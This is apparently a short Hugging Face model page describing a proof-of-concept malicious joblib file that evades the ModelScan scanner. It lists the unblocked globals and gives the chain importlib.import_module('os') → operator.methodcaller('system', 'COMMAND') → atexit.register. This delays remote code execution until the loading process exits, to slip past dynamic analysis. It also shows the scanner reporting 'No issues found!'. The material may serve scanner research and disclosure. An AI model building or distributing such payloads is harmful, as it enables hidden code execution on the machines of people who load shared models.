ModelScan Atexit Delayed RCE Bypass
Registers an atexit handler that executes os.system when the Python process exits normally.
Bypass GLOBALs
importlib.import_moduleโ NOT blockedoperator.methodcallerโ NOT blockedatexit.registerโ NOT blocked
Mechanism
- Import
osviaimportlib.import_module('os') - Create
operator.methodcaller('system', 'COMMAND') - Call
atexit.register(methodcaller, os_module) - On script exit: methodcaller(os_module) = os.system('COMMAND') -> RCE
Stealth
The handler is registered but NOT executed immediately. RCE fires when the hosting script terminates naturally, bypassing dynamic analysis.
Verification
modelscan -p exploit_atexit.joblib
# -> "No issues found!"
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support